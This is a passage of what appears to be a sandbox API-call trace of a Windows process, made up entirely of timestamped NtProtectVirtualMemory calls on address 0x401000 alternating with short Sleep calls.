BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.574] Sleep (dwMilliseconds=0x5) [0255.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.623] Sleep (dwMilliseconds=0x5) [0255.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.668] Sleep (dwMilliseconds=0x5) [0255.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.717] Sleep (dwMilliseconds=0x5) [0255.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.761] Sleep (dwMilliseconds=0x5) [0255.809] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.810] Sleep (dwMilliseconds=0x5) [0255.885] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.886] Sleep (dwMilliseconds=0x5) [0255.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.934] Sleep (dwMilliseconds=0x5) [0255.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0255.997] Sleep (dwMilliseconds=0x5) [0256.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.044] Sleep (dwMilliseconds=0x5) [0256.091] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.092] Sleep (dwMilliseconds=0x5) [0256.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.134] Sleep (dwMilliseconds=0x5) [0256.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.181] Sleep (dwMilliseconds=0x5) [0256.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.229] Sleep (dwMilliseconds=0x5) [0256.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.277] Sleep (dwMilliseconds=0x5) [0256.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.325] Sleep (dwMilliseconds=0x5) [0256.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.369] Sleep (dwMilliseconds=0x5) [0256.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.419] Sleep (dwMilliseconds=0x5) [0256.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.462] Sleep (dwMilliseconds=0x5) [0256.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.556] Sleep (dwMilliseconds=0x5) [0256.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.604] Sleep (dwMilliseconds=0x5) [0256.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.653] Sleep (dwMilliseconds=0x5) [0256.702] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.703] Sleep (dwMilliseconds=0x5) [0256.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.752] Sleep (dwMilliseconds=0x5) [0256.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.872] Sleep (dwMilliseconds=0x5) [0256.916] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.917] Sleep (dwMilliseconds=0x5) [0256.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0256.980] Sleep (dwMilliseconds=0x5) [0257.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.028] Sleep (dwMilliseconds=0x5) [0257.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.087] Sleep (dwMilliseconds=0x5) [0257.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.134] Sleep (dwMilliseconds=0x5) [0257.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.182] Sleep (dwMilliseconds=0x5) [0257.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.230] Sleep (dwMilliseconds=0x5) [0257.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.273] Sleep (dwMilliseconds=0x5) [0257.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.325] Sleep (dwMilliseconds=0x5) [0257.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.371] Sleep (dwMilliseconds=0x5) [0257.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.422] Sleep (dwMilliseconds=0x5) [0257.568] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.569] Sleep (dwMilliseconds=0x5) [0257.637] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.638] Sleep (dwMilliseconds=0x5) [0257.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.761] Sleep (dwMilliseconds=0x5) [0257.804] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.805] Sleep (dwMilliseconds=0x5) [0257.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.889] Sleep (dwMilliseconds=0x5) [0257.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.934] Sleep (dwMilliseconds=0x5) [0257.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0257.995] Sleep (dwMilliseconds=0x5) [0258.043] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.044] Sleep (dwMilliseconds=0x5) [0258.088] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.089] Sleep (dwMilliseconds=0x5) [0258.133] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.133] Sleep (dwMilliseconds=0x5) [0258.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.183] Sleep (dwMilliseconds=0x5) [0258.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.231] Sleep (dwMilliseconds=0x5) [0258.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.277] Sleep (dwMilliseconds=0x5) [0258.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.326] Sleep (dwMilliseconds=0x5) [0258.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.371] Sleep (dwMilliseconds=0x5) [0258.417] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.417] Sleep (dwMilliseconds=0x5) [0258.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.463] Sleep (dwMilliseconds=0x5) [0258.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.512] Sleep (dwMilliseconds=0x5) [0258.558] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.559] Sleep (dwMilliseconds=0x5) [0258.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.602] Sleep (dwMilliseconds=0x5) [0258.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.650] Sleep (dwMilliseconds=0x5) [0258.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.698] Sleep (dwMilliseconds=0x5) [0258.745] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.746] Sleep (dwMilliseconds=0x5) [0258.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.789] Sleep (dwMilliseconds=0x5) [0258.862] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.915] Sleep (dwMilliseconds=0x5) [0258.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0258.983] Sleep (dwMilliseconds=0x5) [0259.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.052] Sleep (dwMilliseconds=0x5) [0259.106] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.107] Sleep (dwMilliseconds=0x5) [0259.150] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.150] Sleep (dwMilliseconds=0x5) [0259.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.201] Sleep (dwMilliseconds=0x5) [0259.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.248] Sleep (dwMilliseconds=0x5) [0259.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.293] Sleep (dwMilliseconds=0x5) [0259.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.335] Sleep (dwMilliseconds=0x5) [0259.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.388] Sleep (dwMilliseconds=0x5) [0259.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.443] Sleep (dwMilliseconds=0x5) [0259.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.545] Sleep (dwMilliseconds=0x5) [0259.593] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0259.594] Sleep (dwMilliseconds=0x5) [0259.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, 